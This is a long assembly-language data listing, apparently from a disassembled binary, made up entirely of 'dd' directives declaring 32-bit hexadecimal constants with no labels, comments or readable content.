		dd 9C32BD03h, 0A035E300h, 0BC53ABh, 0F6D3BAB0h,	0D6C4B32Eh
		dd 0D407D00h, 445B22B5h, 1DE51DDFh, 0DC0AC981h,	584E1C18h
		dd 9FC02C66h, 0ACE10178h, 814F032Eh, 565008Fh, 99CC0041h
		dd 230EB45Ch, 0D47638DBh, 0C42806F4h, 0B928F86Fh, 7B009414h
		dd 0C9AAB3FEh, 1DB705E5h, 82FD33A6h, 4103BC2Ch,	0F69E0048h
		dd 0CB783C00h, 21D9C854h, 1F9978C4h, 1DA1C3ACh,	2A3700B4h
		dd 224D929Eh, 0F18CF951h, 830AE881h, 24085724h,	1BE4D0B0h
		dd 25EA4023h, 18E3930Fh, 582032A7h, 122220DDh, 40796A4Dh
		dd 0D5B0824h, 0A0C0DC52h, 12BD8B44h, 0D0C0E683h, 0D500D859h
		dd 9C10DA9Ah, 1367DF23h, 37D7A5E0h, 70FC6787h, 574C0066h
		dd 0DBE4483Bh, 0FB005B21h, 24A69A0Dh, 9039B3F7h, 7FB001h
		dd 66E016A3h, 4EA95C49h, 0A0C39DE6h, 0C7B3230Dh, 0C40114E5h
		dd 0DAFDD0C8h, 4DFCDBD1h, 180318F3h, 0B51598D3h, 7E5E20Fh
		dd 0E97AA402h, 5B391890h, 0DCA906A8h, 482E594Eh, 0E0466700h
		dd 520394D9h, 5140C0E9h, 8D2CD4EFh, 0D6C84E00h,	194025FBh
		dd 386D0016h, 78D7AC29h, 68124BCAh, 3000E8EAh, 7622E912h
		dd 0D1F0C4C9h, 3100859Bh, 343EFB20h, 0C8C41F64h, 4D023609h
		dd 0A8412B83h, 0AB3C2478h, 0EEF62310h, 0AECEDE04h, 0E0D08DF8h
		dd 11D4C5BAh, 0D39502D0h, 60CAE2C4h, 0A045D144h, 0F36AFC0h
		dd 4DEDB7B0h, 0E305F035h, 2424A719h, 508810F8h,	36DAA402h
		dd 0E0C0F2B8h, 9B0AE599h, 0F42D5682h, 0DC2A28A8h, 0B1206827h
		dd 0D996017Fh, 293701D7h, 0B358307Dh, 98560D33h, 9FB4D097h
		dd 1D3403BBh, 17677BA3h, 4D19BDF8h, 0DDCC7254h,	0C93B490h
		dd 36EA0680h, 551C4F78h, 0FE07D42Ah, 0F494C024h, 4322B008h
		dd 0C030F2A4h, 7E23C8AEh, 0CB449215h, 804D719h,	90D50019h
		dd 33450724h, 9486083h,	0EA85CFE8h, 96014E18h, 0A8EF4D60h
		dd 30A4ADCCh, 0E7F99BD9h, 9CF814FDh, 4A79AA00h,	1DFE3EAh
		dd 21C0CC65h, 0E952DD91h, 0ACAB02B4h, 648C454Eh, 0DB060014h
		dd 697B431Ah, 0C7265218h, 0A4163CF2h, 1569A918h, 731C092h
		dd 5F7A8A7Dh, 0A14FCB02h, 41E02AE3h, 706424F8h,	10010008h
		dd 1CAE8D26h, 2F31A4B5h, 0CE049EEh, 67E55C34h, 416A8FFh
		dd 3CAB0126h, 0DFC136BAh, 66D9C050h, 24040389h,	0FFD01DE9h
		dd 1802BF88h, 1795F0Fh,	74CB87F8h, 288B0C0Eh, 58F13168h
		dd 0E21C8910h, 0C1E927C0h, 0F7140C61h, 188187D3h, 0F0F6815Eh
		dd 0E967D020h, 224FA833h, 8BCCB150h, 60310C98h,	30802264h
		dd 0E0CF8EFh, 4C48124h,	59000B14h, 63B15152h, 0E91827B2h
		dd 681C50B5h, 8D476687h, 0BD31C43Ch, 0E2D0100Eh, 6C98EAC9h
		dd 81E52354h, 572CC550h, 1960F4FCh, 66E6880Ch, 0C6FE0358h
		dd 40B65253h, 40ECB9F9h, 16685C88h, 14474366h, 11156068h
		dd 5966E828h, 0F6DF8BE4h, 1A6BCA4Ch, 0BF57035Bh, 0F914F28h
		dd 85F616E1h, 2C8B5D4Eh, 5FF37237h, 661E2ACFh, 89561FB3h
		dd 67120CE6h, 8CA03322h, 0A50FF35Ch, 0C6386203h, 34E840h
		dd 0C3805A58h, 5BD9889Fh, 5950CAE6h, 0DA7DF681h, 0FE2AC21Ch
		dd 28310AF1h, 2434F340h, 83CCCD8Bh, 81078D88h, 750894ECh
		dd 0F8F400Ch, 3AC0B630h, 1CBA5287h, 810A6026h, 0C142D2F7h
		dd 0C24080E2h, 3F6B75ECh, 9CE91B55h, 0EEE03C49h, 0D03B78EAh
		dd 0C2CE0074h, 0F73B7705h, 9DC15CD6h, 2731E90Ch, 5978EB7Bh
		dd 44A48FFEh, 749B6D6Fh, 83581B90h, 5F86E5ACh, 77B90418h
		dd 0C2315A20h, 0BF80599Ah, 33F4323Fh, 5FFE2103h, 0C37A3E9h
		dd 0FA015E2Ch, 12401C12h, 74FF0650h, 63580424h,	0BAD35C28h
		dd 90E99C0Ah, 811DB5CEh, 347DC682h, 5482872Fh, 4263DB61h
		dd 1C70EE88h, 488D511Dh, 0C4F05928h, 0BE0CC04Ah, 52121156h
		dd 387E8D90h, 110020Ch,	0F6C290F2h, 416E3DEAh, 37E94206h
		dd 293B3633h, 0F8F192CEh, 1F961026h, 0AE08950h,	0A0934518h
		dd 0DFBE52E9h, 5EF0010Ah, 43CE4E8h, 5D0E1D38h, 9256292Dh
		dd 1425F3Ah, 906FD968h
		dd 0E0358829h, 0CB05001Fh, 2D614215h, 7D0F7A26h, 94F02921h
		dd 11A17C07h, 563C8C8Bh, 24E95F54h, 88755519h, 500CDEAh
		dd 18CC13F8h, 2DD82801h, 126AF807h, 505C7214h, 0DC2A4CA9h
		dd 2E918D5h, 59540A20h,	71C18128h, 0E9370684h, 0E7BA31E1h
		dd 5D4D0C20h, 4CE98302h, 568E04E3h, 811D19BEh, 20DEF7A0h
		dd 0E910084Bh, 880437DBh, 94D3F6CBh, 1864C2B1h,	3CC793A8h
		dd 9280A526h, 5C570987h, 63C60F08h, 88E48BD3h, 0C65581EBh
		dd 8706125Ah, 0E95C9680h, 13C83007h, 0A923980Ch, 0F4376850h
		dd 8E87D5Fh, 0AC051C8Fh, 0B10CD830h, 9856103Bh,	0E1D16A2Ch
		dd 4C5E4470h, 6A663E8Bh, 15730ED3h, 0F554CD1Dh,	1B87F88Dh
		dd 6F711968h, 270A0DC4h, 0DC559F43h, 0C72AAD09h, 9ABF8732h
		dd 0E91C504Eh, 2ED5D3C9h, 7C8750E3h, 49316540h,	533D66CDh
		dd 162A359Ah, 2C87CF30h, 5066FEC0h, 54E989B4h, 0ECC18C09h
		dd 0C0F8A203h, 0C16A65D3h, 2A43E00Ch, 0F4F1F032h, 9DB9DD13h
		dd 54E90602h, 3E02C717h, 0A0F59498h, 8870BB53h,	81162700h
		dd 0AF6A3FEBh, 12434846h, 8AE93126h, 881EBD55h,	5001EFE7h
		dd 5351D088h, 0F9D9C7D1h, 98CBC230h, 0FD2E3063h, 6CEBBA24h
		dd 0C39E81FDh, 46F52004h, 48680D20h, 0B0848E7Bh, 0E072CD72h
		dd 10D52CD1h, 0E8211682h, 9091E2Ch, 788AE9C0h, 72C317A7h
		dd 2C05F9AEh, 0AC883D84h, 3C3C588Bh, 0E7AF44A2h, 0A03E0172h
		dd 2440636Ah, 8B158DBh,	0FFAD1C3h, 0C8285A32h, 0CF00C2EBh
		dd 0FEA1B353h, 0F380C300h, 0E9CB86E0h, 2CE46EFBh, 0A19EFAFh
		dd 31DA9B33h, 448DB406h, 4505F92h, 0D8CBD944h, 0DD4D6876h
		dd 82E9844Ah, 9DBF8ED0h, 440F004Bh, 69FED81h, 0F1A01AF6h
		dd 8025303h, 0E9FD011Ch, 299F68DFh, 30829054h, 9A086C81h
		dd 4FB8FD20h, 0F7807BFEh, 618DEED5h, 0C08330E2h, 4D0E6302h
		dd 409B40CEh, 94E581D0h, 0BCA001Ah, 0FB296D32h,	56ED35E9h
		dd 5F2D0124h, 71592615h, 0E422418Fh, 2913DC80h,	22C3EB4Ch
		dd 542D90D8h, 0B0099A43h, 588F9A63h, 4E3F9546h,	5651989Ah
		dd 0EB014498h, 93CE93F8h, 761FC65Ah, 77FF0B0Ch,	50A29D1Ch
		dd 0F44914D3h, 0C0B05429h, 93476091h, 0F9895C10h, 9447F10h
		dd 24099768h, 0D9916912h, 83CA4D66h, 12782FAFh,	4E4F50Ah
		dd 15065E3Fh, 0E8018290h, 2AACC75Dh, 6F869167h,	0F2332A90h
		dd 0BFD27F2Eh, 256F298Fh, 7882C8Bh, 0DF893957h,	8A6AF824h
		dd 9FCE5450h, 11E25752h, 83762B44h, 6231FE24h, 1C38138Dh
		dd 12C0D320h, 1282617h,	0CE420FCCh, 0CD0C8268h,	4259FA49h
		dd 8EF08D2h, 140A0C34h,	0DD00A25Ah, 0E97BC555h,	5DD8499Dh
		dd 5DC10692h, 7906C4Eh,	8BE3D220h, 32074CF7h, 0BA063620h
		dd 81B2DB0h, 113B0BC0h,	6856E54h, 0AFD9501Dh, 65C781C0h
		dd 201E7233h, 5139EF01h, 0DF122208h, 316C9328h,	0F18B0D06h
		dd 0ECD14145h, 0E90063BEh, 929451B4h, 7376168Dh, 3D24B120h
		dd 0D6A60D12h, 0B9688E9Ch, 54CE3112h, 22EA4B5Eh, 14F2B187h
		dd 5A113A66h, 612D101Fh, 3BA62C7Ah, 0E16A6EAEh,	7A9502B3h
		dd 0E27F05h, 50D6D690h,	0D1EB806h, 1DA06E46h, 0D14008h
		dd 84DD912Dh, 0C6610934h, 0E389536Fh, 0A334EE44h, 0D4E90642h
		dd 0A1B76635h, 0B444E732h, 59A0665Dh, 5101F13Ch, 0C1804AB1h
		dd 0AB0692FFh, 0EA90BD87h, 0ED2F601h, 472B6866h, 7296C792h
		dd 0A7666960h, 807CB200h, 0EAC0D8C2h, 94FE7603h, 0D5853BDAh
		dd 95D18851h, 0D0EC1D25h, 0D15B3E1Ah, 7FBA368Bh, 5AEB6126h
		dd 1584BEB7h, 7FB70FB0h, 5CCA2E36h, 6858839Ah, 0F5183F13h
		dd 0F726F18Bh, 648160D9h, 89B926D3h, 2676C848h,	990F69EEh
		dd 8FEC47Ah, 2C0B7213h,	5E6B902h, 7EA5C057h, 477F6E30h
		dd 0BD5EF701h, 34151FA8h, 985FC730h, 0DAAD3F21h, 9B0FBA8h
		dd 35B310DDh, 8026412h,	36CAAAE9h, 6AD1F300h, 7804BA1h
		dd 4D48022Dh, 0A0E9CC54h, 66EF32EBh, 0E20FC602h, 0C4191E85h
		dd 0ACB6F73Dh, 0BF864A5Ch, 0F605D137h, 522E1FBDh, 242699C3h
		dd 0C0A15816h, 57595451h, 20706806h, 904711FEh,	0BBC47C9Ah
		dd 0F8F622E0h, 58364176h, 56985AF7h, 2D055828h,	0D00415BBh
		dd 94D1875Ah, 46CA2868h, 0C09890AEh, 1199C2Eh, 0C1004A75h
		dd 814207E2h, 54145CAh,	8FE9214Fh, 0D91B358Ah, 0C60A2939h
		dd 801102BFh, 154F3B4h,	0C3051A22h, 6115C720h, 4DE2C88h
		dd 4968555Dh, 0E2CDAD83h, 2658CCh, 0C4FEB9B4h, 3056F480h
		dd 8495E758h, 2906679Eh, 0C20386FEh, 5F7CB33Dh,	1880BD01h
		dd 78AF046Fh, 5DEE4D15h, 0ACE9510Bh, 0F498D99Eh, 7720D9A6h
		dd 0E2D10F3Ah, 0E5265055h, 800E1241h, 959F4EFh,	9980BF8h
		dd 9D670250h, 59090B21h, 3BB09B8Fh, 0DEB79E66h,	9B526352h
		dd 3012F302h, 0C328E092h, 638BB842h, 433E183Dh,	0E7006DAAh
		dd 3464247Ah, 1A1CFB01h, 142F1C08h, 0A27C2095h,	0E987C02Ch
		dd 4BC1928Eh, 0BC2D0420h, 8850023Fh, 820262D8h,	49F24A6Ch
		dd 5820D6D4h, 0F31304F1h, 0C2F589ECh, 0B2C044B9h, 452E6C4Fh
		dd 7E417027h, 8C418C5Ch, 0DE23682Bh, 0FF3BDC0h,	45584983h
		dd 7F3705E9h, 2CC004D4h, 9438E95Dh, 5B8824BAh, 747F55F1h
		dd 0D524683Bh, 66F3B36h, 20272ECEh, 517B4E3Dh, 0A27BE522h
		dd 2D85B910h, 2097FD28h, 11AEE90Dh, 138816C4h, 62550AE0h
		dd 84FD9C54h, 0FF615C44h, 58C50103h, 883545F9h,	523A3250h
		dd 0B11BF626h, 0A487A541h, 79AFB654h, 335FE380h, 63164CDh
		dd 0D3E90D86h, 5DB8220Ah, 0D7408098h, 2029BAF7h, 0AD078170h
		dd 5557D831h, 0DA5228A5h, 2A4AD426h, 143638BBh,	61647BE9h
		dd 37365A04h, 0B14D8176h, 0DA890049h, 1C9D905Bh, 929E063Bh
		dd 0EE010A01h, 838B1808h, 0DAB144D7h, 7B25C113h, 0D3BE3B81h
		dd 2405302h, 134C6F7Bh,	9018204Fh, 391C09B9h, 0D0AFA211h
		dd 52669BC5h, 68C291ECh, 0A461BF7Ch, 30AE59C8h,	7FDED366h
		dd 0C5FA359Ch, 5F7951Ch, 0B22D5FE6h, 43504D20h,	79E912FBh
		dd 850FA4C0h, 3135DEDh,	8C67A013h, 86699D3Ch, 0CB32B0h
		dd 0B740F984h, 8F5963Dh, 8BA07B91h, 3FA8BA0Bh, 0CAA98043h
		dd 5C734D3Ch, 6B05275Dh, 0A1DE5CFEh, 0D8BC2504h, 0BB1E53D8h
		dd 3B0F7E27h, 165B0929h, 53D68099h, 9672500Eh, 83E9A8B5h
		dd 5D0449E8h, 712A5D90h, 0C1665D89h, 8BC2BA74h,	42D7E208h
		dd 9018A967h, 0BB5B5421h, 56C68851h, 7FE1C10Fh,	4A729EBCh
		dd 5BD559Dh, 0A8506E0Dh, 43E58B01h, 1005090Ah, 5924081Fh
		dd 28559318h, 0CD083ADh, 0A4E982F8h, 4D4420h, 27EF49FEh
		dd 0C82DD0F7h, 1E12ED7Bh, 0B509C201h, 0B5C76389h, 27688EC8h
		dd 90985579h, 51802A3Bh, 339A2B9h, 9E6CFFB6h, 0CA8D7246h
		dd 0C9F15EFEh, 0E1605E04h, 42ED7752h, 0BC034E06h, 1808AE9h
		dd 552DBE10h, 64D1672Fh, 7E1D9C80h, 0CE8B4050h,	345A006Ah
		dd 4FD9E956h, 0CA974431h, 7FE0A3F2h, 89575232h,	78D8381h
		dd 6362581Fh, 0DF07C728h, 910552C0h, 40EEC14Bh,	3E08C6D0h
		dd 0DA1FCF26h, 9022E08Fh, 7CFDCD80h, 0EBB0353Ch, 0FE7DFB26h
		dd 4D5290Bh, 0BD0B6264h, 8FC1CE12h, 8CB1445Dh, 1B40A68Dh
		dd 0F0EE7E89h, 0CD736830h, 72180780h, 0FB8CB21Ch, 66BBCEEAh
		dd 8F62444Fh, 5DF06C5Fh, 68824E50h, 0D652478Eh,	0F6666740h
		dd 944E7439h, 80CB8368h, 0D3832FC3h, 0EBAFEBABh, 27F34C4h
		dd 0E963EA0Fh, 5D8921Ch
		dd 241A5FB8h, 0C9CB812Bh, 0C7C664DCh, 4569A40Fh, 65C0659Fh
		dd 0A51868B3h, 7FEE27F3h, 533FD16h, 24E7AAC7h, 0E53B1079h
		dd 66593D70h, 0EC0729AFh, 52CB555Dh, 164B52F5h,	0E93B8CDEh
		dd 5D5FCB67h, 4FE4EE94h, 0D06D931h, 7849A5Ch, 21916594h
		dd 898E2906h, 52992641h, 0CD6E457h, 5F62281Eh, 1D4C05AFh
		dd 5929BBA1h, 2F83C8h, 0D2F65CB1h, 0F3CA0680h, 0AACC5BE9h
		dd 3A6CC296h, 37460235h, 1E6FE965h, 60389D9h, 0E103B57Dh
		dd 0D268D22Eh, 3284099Eh, 80003929h, 0F66C331h,	65F8B654h
		dd 1A887F4Ah, 105FF03h,	7E540515h, 57E0EC67h, 38C52880h
		dd 0EB2A5866h, 6D096B4h, 0E07D67E9h, 0CDAC994h,	171B1473h
		dd 241D8812h, 0E90805B4h, 83F9D0DCh, 524F04EAh,	8F5A3844h
		dd 536BC6CAh, 3EAA52E4h, 8326C9EEh, 5C41E5C0h, 19605551h
		dd 0ED5B04EFh, 0E066E94Dh, 68125855h, 47377472h, 0D9229280h
		dd 47E2A05Ah, 0C929DF09h, 0E0852077h, 0CD9713EDh, 84733C7Dh
		dd 10594B07h, 86292A54h, 0D2E28620h, 31470D43h,	0C5366006h
		dd 0BB223967h, 0D10B160Ah, 96FA967Dh, 45093D3h,	0C71A79h
		dd 0A6D355Ch, 0EE0C6038h, 1E8D1921h, 0ADB10FB8h, 7ACF1F3Bh
		dd 0F7026701h, 0A3CB87D7h, 4D0978D2h, 290E1955h, 0D1654172h
		dd 40BC87EAh, 0C1324E79h, 0DB06E226h, 0CD387200h, 32E94A58h
		dd 299A6E22h, 6C13DCE2h, 555C0D26h, 2A98529Ah, 7C2E9464h
		dd 526F2B81h, 0F0690170h, 5A380C90h, 2A21DD8h, 0FC61032h
		dd 8C88BCABh, 0EBF9DAC9h, 14098C03h, 0E9CB3152h, 69750D46h
		dd 0F643692h, 7C860288h, 3CF832C1h, 35282299h, 0B3423084h
		dd 8DC16513h, 464EE44Eh, 7E4D8391h, 0B290004Ch,	41B10170h
		dd 0FE08E1C0h, 5F90EBC1h, 0E925CA28h, 0EB3D42BBh, 57783E3Bh
		dd 3BCC553Ch, 155FC3D4h, 61587C22h, 296B87A4h, 91494AAh
		dd 201A420Dh, 78EB3982h, 0B7B15101h, 2F8061E1h,	5B155ABFh
		dd 0D0B42942h, 0C9D5696h, 4FD04292h, 34AD682Ch,	21FB2116h
		dd 0B90C89D0h, 4291C401h, 0E9FA0524h, 0EEF25035h, 51069895h
		dd 211353E9h, 4E2EF20Fh, 75FAB4D3h, 5EA12702h, 785AD701h
		dd 19574CE8h, 6C420B96h, 0A0E34B2Bh, 21C80C9h, 4D97A95Fh
		dd 27992057h, 4D2621DBh, 5A7BDCC0h, 0E474B950h,	0D0F13848h
		dd 7FFE91D1h, 0DE2A2A48h, 26C45916h, 0B9C22AC4h, 40C95226h
		dd 0BE050F1Ch, 0CD768C8h, 402BB5D8h, 57945C12h,	9A7F681Bh
		dd 0A7A5D95Dh, 9AE6228Bh, 1E5A4883h, 0CA09E434h, 0EE5070E0h
		dd 7AE4A2C6h, 4E5DAA0Bh, 2E88D131h, 0D0ECE985h,	0A5EE80E3h
		dd 0F6CEFE01h, 3E6C0D6h, 0E9ECB0EBh, 24514FEFh,	0F9CDD999h
		dd 66FA5049h, 5E6D829h,	56092A1Eh, 32F2BE00h, 95C638E9h
		dd 0E231D3A0h, 211F785Ch, 748B59CFh, 5E636823h,	5A203011h
		dd 871E7628h, 38CED8CAh, 47520540h, 7F1A75C7h, 5F2C00DEh
		dd 5056F029h, 5900AEB8h, 0B9BE447Dh, 1A0D8D3Fh,	622B5DE9h
		dd 6BBA22C3h, 0E7C1E7A2h, 4513B2C0h, 0E60B99Eh,	1A647036h
		dd 0D0AF781h, 54A3C2D8h, 6AEF40CFh, 0EAF0CA01h,	0CA1908A3h
		dd 58E6DE14h, 0D082F9FDh, 31BC56B9h, 0E9123B6Ch, 4121E5FCh
		dd 6D6C52EBh, 6024A094h, 0BF20C31Ah, 8F592C2Dh,	208E2B92h
		dd 30483434h, 28582EC3h, 2DC02C07h, 0E587628Eh,	52ED7607h
		dd 4D6F82Eh, 0E41C5740h, 0B3214856h, 49F44F3Fh,	44EA316h
		dd 16F2C57Ah, 0D836B672h, 0C3681252h, 2852895Dh, 4C01C71Ah
		dd 93D6F5AEh, 0F7B9E8D1h, 5C2E8E63h, 2C8905Bh, 0B3E919DAh
		dd 59A34A10h, 0C05C45F2h, 68565275h, 9B473627h,	1E7F9E91h
		dd 0A68B5E55h, 0BB534069h, 9F125880h, 49F4431Dh, 0DFC56508h
		dd 83E09C34h, 872F8990h, 0C0C1320Ch, 817B8125h,	0F64BEAE9h
		dd 235A4DD1h, 5D4B5A1Bh, 9073E75Fh, 685C0487h, 0A7A2061Fh
		dd 62C4BB24h, 854B4841h, 0F9026EB0h, 72CDFAA1h,	0EDD1C737h
		dd 1573418Eh, 289CE6AFh, 5BDE8BEBh, 0BF00C7ECh,	51611277h
		dd 985FF801h, 0A2D509Fh, 8E48F95Eh, 0F16A4955h,	0AD4BB09Ah
		dd 10164601h, 0DFF75995h, 0AE644061h, 4FC85701h, 3E0C103h
		dd 47E9752Dh, 4B53608Fh, 89EC57BAh, 7159EE78h, 1A644E4Ah
		dd 0BD550640h, 6035515Dh, 16A9EA67h, 0CDEC07B1h, 7B7D69EAh
		dd 209AE915h, 56CE40B2h, 772CBE00h, 0EE8121E2h,	6C161FA3h
		dd 99949649h, 8F7A012Eh, 9E3A6936h, 1EC3AA95h, 1CD7D921h
		dd 0EA844FCAh, 1299B65Ch, 0F64540Ah, 3A0452C4h,	10421B6h
		dd 0E5F082D6h, 31C3DB08h, 1DEA93D5h, 0C0874208h, 0E5C1DDF7h
		dd 9E25E908h, 2C22694Fh, 8B933FE1h, 5033655Fh, 0DD3D8944h
		dd 0E92F2883h, 6C5BEE06h, 20846B36h, 801CBD60h,	7CF9EECEh
		dd 0F4B63DF6h, 7690B800h, 98487AD1h, 3B136610h,	18B0EFC7h
		dd 0F450D72Ch, 6DA16861h, 0CB587223h, 6E9C6220h, 312C1926h
		dd 262C58A6h, 69CEC74Eh, 0D92D8E02h, 83E98B1Bh,	0BA72F7A9h
		dd 6C5C4BAAh, 0D55695C0h, 54CFB00Bh, 0B8D0E018h, 5F03E3DCh
		dd 8AFC73EBh, 0A8DF413Ah, 68906D5Fh, 3320F607h,	0EE9C117h
		dd 7C9A8038h, 72F73E1Fh, 49D11FD9h, 0EAAF8B53h,	81C7BC21h
		dd 68BA70EFh, 0F9586C3Bh, 0E172A502h, 0AFFA89CCh, 710BC4CCh
		dd 0DA680B8Dh, 26566AA2h, 14E91924h, 0CD024A26h, 0E90D8B99h
		dd 581421A0h, 7031F021h, 0E9B1253Ch, 58443CA4h,	5760C4ADh
		dd 0C5B62412h, 0E184D1E3h, 98B804BBh, 604D6A2Ch, 0E6C1A868h
		dd 0B100614Ch, 366C831h, 41F95228h, 3260B5EFh, 54044D8Eh
		dd 882D27E9h, 0E07A4B1h, 0F3290FBCh, 800EB85h, 57FB015Eh
		dd 72680151h, 0E9715207h, 0BE133AE2h, 7F014935h, 501D2E26h
		dd 354C0831h, 4ED00CF6h, 0E90C3DDAh, 26D32A07h,	6F62F301h
		dd 251345DDh, 0FE685898h, 0A831195Eh, 540343DBh, 6832937h
		dd 48AC4C59h, 84042F50h, 0C074AE0Ah, 420701F2h,	2B02D4Ch
		dd 43681C73h, 96D4C04Fh, 14373F1Eh, 6EAC18Bh, 467CF386h
		dd 855A739Ch, 0A432493Bh, 507C7453h, 0FDA9B2E9h, 181C2859h
		dd 0C7E9F74Ah, 0FE7A14ACh, 0B725D539h, 0ABEDF262h, 0DCADE904h
		dd 0DE4C999h, 0CE12D2BEh, 0D6E912D6h, 99ECC459h, 8F40BBC1h
		dd 712085EFh, 59859812h, 9F18AE03h, 0F9676956h,	7A935682h
		dd 2D60A5B4h, 56EFBA0Bh, 0A124D359h, 0C4DB2DF5h, 5DD86E77h
		dd 302E5C17h, 0C840A0D4h, 64D2FA3Dh, 0B407A615h, 0F540FB93h
		dd 0E7810347h, 3A196CBEh, 0F2E80C40h, 0F73A227Ch, 4995051Ch
		dd 483FD89h, 7E91A5E9h,	5470E829h, 0CE781E1Fh, 0D6D81F17h
		dd 861DC015h, 0D73AF6F9h, 0CF617230h, 5E9C008h,	0E3C34C9h
		dd 3161324Bh, 622DB44h,	1B33A0BAh, 0F8ED7897h, 542C58A5h
		dd 0F1F1329Bh, 0C749BEB9h, 1DE3607Eh, 3266E281h, 47379124h
		dd 49000313h, 61FD1922h, 0D9EF48E9h, 98F1EE89h,	0A168F42h
		dd 3659017Eh, 9DBB43A2h, 0F364C20Ah, 261AF300h,	82CB2942h
		dd 0D5E90801h, 0D3D773FCh, 222D4B7h, 17A69E9Dh,	0D8E154E9h
		dd 11E4588Dh, 6C679AA4h, 0B5625BEFh, 8912DB1Dh,	3179EF83h
		dd 4F0D8B25h, 1E22A7DAh, 0CADA4FBCh, 1354D421h,	3DDE46F6h
		dd 0CF04715Dh, 48444B09h, 6B9B1D80h, 895A12DDh,	4C55E3FBh
		dd 14631666h, 90F7C44Ah, 1542D62Eh, 0A19A0B25h,	18D98310h
		dd 5897F2B9h, 0B6001356h, 63AC6E86h, 5ED1CC1h, 1301D683h
		dd 0DCC3241Dh, 9C0292B7h, 25E9FCE2h, 0CBD3C8D3h, 685780B8h
		dd 0D2485605h, 9C1F5F72h
		dd 2E7C1C6h, 15D00AE0h,	0AE6D7Bh, 1084CA25h, 5F275B57h
		dd 0D4B66A21h, 1F0F89D8h, 0AAA1D373h, 1A8AEC12h, 0B6526601h
		dd 0D9F7205Fh, 5051E05Ah, 889EB401h, 0E0A6E9E1h, 4E4A2B1h
		dd 0F1643045h, 806CBFC8h, 1E317EBFh, 0D26687Ch,	3F8D133Ah
		dd 0C12C1EDBh, 0DDECEEA2h, 0D59346ACh, 4998E905h, 142E5866h
		dd 0E9162CAAh, 5A747110h, 0DA87A9C4h, 0C9CFCE27h, 809C5170h
		dd 19684696h, 0D2E4DAF7h, 6BEA8103h, 0B05D5C4Ah, 0A352F2h
		dd 0D031AC02h, 5E8C15Ah, 5834404Ch, 775BC6A9h, 0D480054h
		dd 691E6FB5h, 9402F005h, 0C101AD72h, 2DDE5A58h,	9E6850BCh
		dd 8F991A1Ch, 0DAA65496h, 3F11CA4Fh, 9D045BE9h,	33ACC121h
		dd 8C053AD4h, 823E710Ch, 0AFE35D48h, 6C4817A2h,	354BCC68h
		dd 0E913488Fh, 21A24294h, 0DB411C5Fh, 1EF729Ch,	8A947AEFh
		dd 0BF7201D8h, 0EA68E77Eh, 6677C84Eh, 68F1F705h, 0C1B314A2h
		dd 3F270858h, 8E60D5ABh, 510090BAh, 1EB97CC9h, 9A8C6B21h
		dd 1C6D07AFh, 75D1014Bh, 0B805D053h, 0D602AD9Eh, 59C8298Ah
		dd 8C87D831h, 4DA78181h, 831EDB8h, 0DC23D9h, 4A0B850h
		dd 0BF6FC442h, 0A38BC25Ch, 78E09B40h, 0E91EA209h, 515A2BE7h
		dd 44E2E920h, 374105F8h, 0F6E9CC86h, 5D0136B6h,	840FC009h
		dd 8B8957A7h, 0EE596D4Eh, 0E0531493h, 99209E3h,	0F5444AACh
		dd 0B4FDE98h, 2C34A730h, 48D985Dh, 2014FEE7h, 0AF6EC073h
		dd 5760B83Fh, 0D60427D2h, 8824C0D9h, 0E92DCB21h, 446E1327h
		dd 57D80E6Dh, 4BFF7E56h, 0C84605C2h, 6CD18E6Bh,	0D0681325h
		dd 2985B314h, 8F08B8FBh, 337A8943h, 66E15E10h, 207C3Bh
		dd 6D7D86CDh, 0B4D8E93Dh, 9E2277Dh, 72656460h, 21E412Eh
		dd 5A30EE09h, 0BE3452B1h, 0D06D335h, 2E9D4049h,	0EC9B0645h
		dd 4AA03488h, 2EC66165h, 5A44150Bh, 6DD10EF8h, 0A1DBED2Dh
		dd 0D3F1F029h, 0DFCC177Ah, 0F7311269h, 0F11DE421h, 0C92E406Ah
		dd 9078F12h, 52EDFD40h,	6E078375h, 0B42E3C2Dh, 0C92F9472h
		dd 546FE578h, 913A809Ch, 7528E73Ch, 0D408356h, 0CDC2A05Dh
		dd 3F2976AFh, 0BEAF4514h, 0CFED5390h, 65EE6B04h, 29C2F501h
		dd 0BFCCC89Fh, 96031E9Dh, 4E74892Fh, 2B4E54Ch, 21F04E9h
		dd 18FAA3CCh, 0C500B5Fh, 8B724FFFh, 0CAFDCE98h,	40C088Dh
		dd 52DA9314h, 3BF08020h, 41B8D689h, 1436C8DAh, 0F753FDA9h
		dd 5937E0FDh, 90F6EB9h,	62108BC2h, 594E4C2Eh, 385C17B6h
		dd 0EDF805A7h, 62186848h, 0B5515303h, 280601C1h, 42E9B8B7h
		dd 0BE9BA2E5h, 3BFD22h,	0F5B91FC5h, 5DEA2913h, 5A653E98h
		dd 17E22ECCh, 742C2C78h, 0DC68C1F7h, 8B357D01h,	0D9D7356h
		dd 20E9520Eh, 65418A1Ch, 0CC40B0A7h, 5A931E5Bh,	89E45916h
		dd 12240BDh, 6884409Ch,	79E612D2h, 670EA548h, 0A7BD7269h
		dd 0F436D248h, 4391A095h, 923EA959h, 0FB0127B8h, 1F9361h
		dd 79EEC15Eh, 0B7AB7606h, 5A63C11Ah, 0B7544FDAh, 8BDD6727h
		dd 0BC78EFE9h, 28F6412h, 0E2B46A0Bh, 6D99D9F6h,	8EA815A0h
		dd 34FF10F1h, 90CE810h,	913168ADh, 0A075D62Eh, 0CBECD9E5h
		dd 87D13AF7h, 0C4064A7Dh, 79AA937h, 1E683386h, 5B5983AEh
		dd 1CFDB850h, 58211F3Bh, 327D8B40h, 710A03B0h, 0B6848650h
		dd 46808B9Dh, 0D3F7149Ch, 5B88D253h, 3B05894h, 652F470Ah
		dd 6DC54868h, 0AD208751h, 98C260C4h, 565CB2BBh,	0F3810D00h
		dd 59945A26h, 5BDD2589h, 2891110Ah, 0A8AA9645h,	5E6E4050h
		dd 2FBF26ECh, 72FE8480h, 451BBD1h, 0E0C50B68h, 5BBD42DEh
		dd 6FF4C330h, 6CB2773Eh, 50986816h, 0E9BA4737h,	8742714Ah
		dd 0F3880133h, 125EC25Ah, 7362A6A0h, 605E99h, 0B835DA2Dh
		dd 0F8011A0Ah, 8D2C0705h, 2DD111Eh, 0E9ACC065h,	9BF66B56h
		dd 5D207C70h, 0D1AD58B3h, 6A2B202Ch, 5365138Ah,	4209B170h
		dd 0F3DC2985h, 5A195862h, 4B386934h, 499EA108h,	1BCAAB48h
		dd 6AF43B13h, 7F8E9B1Dh, 5FE9C4FEh, 10B59A9h, 39F85EF1h
		dd 10E73159h, 27EE3BCh,	0D7C381F3h, 0E061804Ch,	0A28F5592h
